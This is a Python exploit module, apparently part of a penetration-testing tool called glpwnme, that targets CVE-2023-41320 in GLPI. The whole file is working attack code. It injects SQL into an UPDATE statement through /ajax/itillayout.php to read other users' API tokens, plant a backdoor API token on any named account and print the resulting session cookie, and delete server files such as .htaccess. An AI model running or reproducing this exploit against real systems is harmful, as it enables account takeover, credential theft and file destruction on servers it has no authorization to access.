import time
from http import HTTPStatus
from ..exploit import GlpiExploit
from glpwnme.exploits.logger import Log
from bs4 import BeautifulSoup
from glpwnme.exploits.utils import GlpiUtils, LoginResult

class CVE_2023_41320(GlpiExploit):
    """
    This CVE abuse a SQL Injection in an update clause to elevate the privilege of the current user

    @author RIOUX Guilhem
    @cvss 8.1
    @name CVE_2023_41320
    """
    min_version = "10.0.0"
    max_version = "10.0.10"
    _impacts = "SQLi, Privilege Escalation, File Delete, Database Leak, RCE"
    _privilege = "User"
    _is_check_opsec_safe = False # Check is not opsec safe as it update some table fields

    field = "realname" # field on which to put content

    def _make_payload(self, field, payload, condition):
        """
        Make the sql payload ready to be injected

        :param field: In which field to store the result
        :type field: str

        :param payload: The sql payload to use, Do not use `FROM glpi_users` inside as
          it will break the sql syntax
        :type payload: str

        :param condition: The condition which is mandatory, to not apply an update everywhere
        :type condition: str
        """
        return f"', {field}={payload} WHERE {condition}; -- '"

    def send_payload(self, payload):
        """
        Send the payload to the target

        :param payload: The payload to send
        :type payload: str
        """
        return self.post("/ajax/itillayout.php", data={"itil_layout": payload})

    def infos(self):
        """
        This method is used to display the information of an exploit.
        This method support rich formatting

        :return: The whole informations about an exploit
        :rtype: str
        """
        infos = "[u]Description:[/u]\n"
        infos += "This exploit allow to execute arbitrary query inside an [b]UPDATE[/] statement in the [i]glpi_users[/] table\n"
        infos += "It can be used to backdoor any account, or change db fields.\n"
        infos += "Also you shall be able to recover any db value if you need\n"

        infos += "\n[u]Usage:[/u]\n"
        infos += "[grey66]# Backdoor an account named glpi[/]\n"
        infos += "--run -O account_target=glpi\n"

        infos += "\n[grey66]# Deleting the files/.htaccess on the target[/]\n"
        infos += "--run -O delete_file=../.htaccess\n"
        infos += "\nExploit is [red b]Dangerous[/]"
        return infos

    def _recover_api_token(self, username, user_id):
        """
        Recover the api token from the user username

        :param username: The target username to exploit
        :type username: str

        :param user_id: The id of the current user
        :type user_id: str

        :return: The api token of the targt if found, else empty string
        :rtype: str
        """
        user_hex = GlpiUtils.to_hex(username)
        api_payload = f'(SELECT api_token from (select * from glpi_users) as temp_table where name={user_hex})'
        payload = self._make_payload(field="phone2",
                                     payload=api_payload,
                                     condition=f"id={user_id}")
        self.send_payload(payload)
        res = self.glpi_session.get_user_data()
        api_token = GlpiUtils.extract_user_field(res.text, "phone2")
        return api_token

    def check(self):
        """
        Check if the target is vulnerable
        The payload actually just sleep for 3 seconds and reset the
        itil_layout to NULL (default value) for the user with
        ```id=2```
        """
        payload = self._make_payload(field="itil_layout",
                                     payload="(SELECT SLEEP(3) UNION ALL SELECT NULL LIMIT 1 OFFSET 1)",
                                     condition="is_active=1 LIMIT 1")
        start_time = time.time()
        res = self.send_payload(payload)
        if time.time() - start_time > 3.0:
            return True
        return False

    def _backdoor_account(self, account_target, api_key):
        """
        Backdoor account on glpi by setting an api key
        """
        current_user = self.glpi_session.get_username()
        user_id = current_user["id"]
        if not user_id:
            raise LookupError("Cannot find user ID !")

        # print(self._recover_api_token(account_target, user_id))
        # exit(0)
        Log.log(f"Api key generated: [b]{api_key}[/b]")
        Log.log(f"Trying to backdoor account {account_target}")


        current_user = self.glpi_session.get_username()
        user_id = current_user["id"]
        if not user_id:
            raise LookupError("Cannot find user ID !")

        current_api_key = self._recover_api_token(account_target, user_id)
        if not current_api_key:
            self._write_log(f"Backdooring account '{account_target}' with API Token: '{api_key}'")

            account_hex = GlpiUtils.to_hex(account_target)
            api_key_hex = GlpiUtils.to_hex(api_key)

            payload = self._make_payload(field="api_token",
                                         payload=api_key_hex,
                                         condition=f"name={account_hex}")
            Log.log(f"Running sql command:\n```UPDATE glpi_users SET itil_layout='{payload}'```")
            self.send_payload(payload)

        else:
            Log.msg(f"API Key already set: {current_api_key}")
            api_key = current_api_key

        self.glpi_session.logout()
        if self.glpi_session.login("", "", others={"user_token": api_key}) == LoginResult.SUCCESS:
            Log.msg(f"Backdoor worked, cookie:")
            print("; ".join(self.glpi_session.get_login_cookie()))
        else:
            Log.err(f"Could not login with API Token...")

    def _delete_file(self, file_to_delete):
        """
        Delete a file on the target from the current_path

        :param file_to_delete: The file to delete on the target
        :type file_to_delete: str
        """
        default_htaccess = "<IfModule mod_authz_core.c>\nRequire all denied\n</IfModule>\n"
        default_htaccess += "<IfModule !mod_authz_core.c>\ndeny from all\n</IfModule>\n"

        current_user = self.glpi_session.get_username()
        user_id = current_user["id"]
        if not user_id:
            raise LookupError("Cannot find user ID !")

        file_to_delete_hex = GlpiUtils.to_hex(file_to_delete)

        if Log.ask(f"Delete the file [b]GLPI_ROOT/files/_pictures/{file_to_delete}[/b]"):
            payload = self._make_payload(field="picture",
                                         payload=file_to_delete_hex,
                                         condition=f"id={user_id}")
            self._write_log(f"Trying to delete the file GLPI_ROOT/files/_pictures/{file_to_delete}")
            self.send_payload(payload)

            delete_data = {"id": user_id, "_blank_picture": "1", "update": "Save"}
            self.post("/front/preference.php", data=delete_data)
            if ".htaccess" in file_to_delete:
                self._write_log(f"Restore GLPI_ROOT/files/.htaccess with the following content:\n{default_htaccess}")
            Log.log(f"File might not exists anymore")

    def run(self, account_target=None, delete_file=None):
        """
        Run the exploit on the target, it actually backdoor an account with an api key

        :raises ValueError: When parameters are missing

        :param account_target: The name of the account to backdoor
        :type account_target: str

        :param delete_file: The name of the file to delete
        :type delete_file: str
        """
        if account_target is not None:
            api_key = GlpiUtils.random_str(40)
            self._backdoor_account(account_target, api_key)

        elif delete_file is not None:
            self._delete_file(delete_file)

        else:
            raise ValueError("Please specify an option, -O 'account_target=glpi' or -O 'delete_file=test.php'")

    def clean(self, account_target):
        """
        Clean the api_token on the target account

        :param account_target: The account_target on which to reset the api token
        :type account_target: str
        """
        account_hex = GlpiUtils.to_hex(account_target)

        payload = self._make_payload(field="api_token",
                                     payload="NULL",
                                     condition=f"name={account_hex}")
        res = self.send_payload(payload)
        try:
            json_res = res.json()["success"]
            if json_res:
                self._write_log(f"Removed api_key for account {account_target}")
                Log.log(f"The account [blue]{account_target}[/blue] shall now be [b]unbackdoored[/b]")

            else:
                Log.err("Failed removing API Token")
        except:
            self._write_log(f"Failed removing api_key for account {account_target}")
            Log.err("Failed removing API Token")
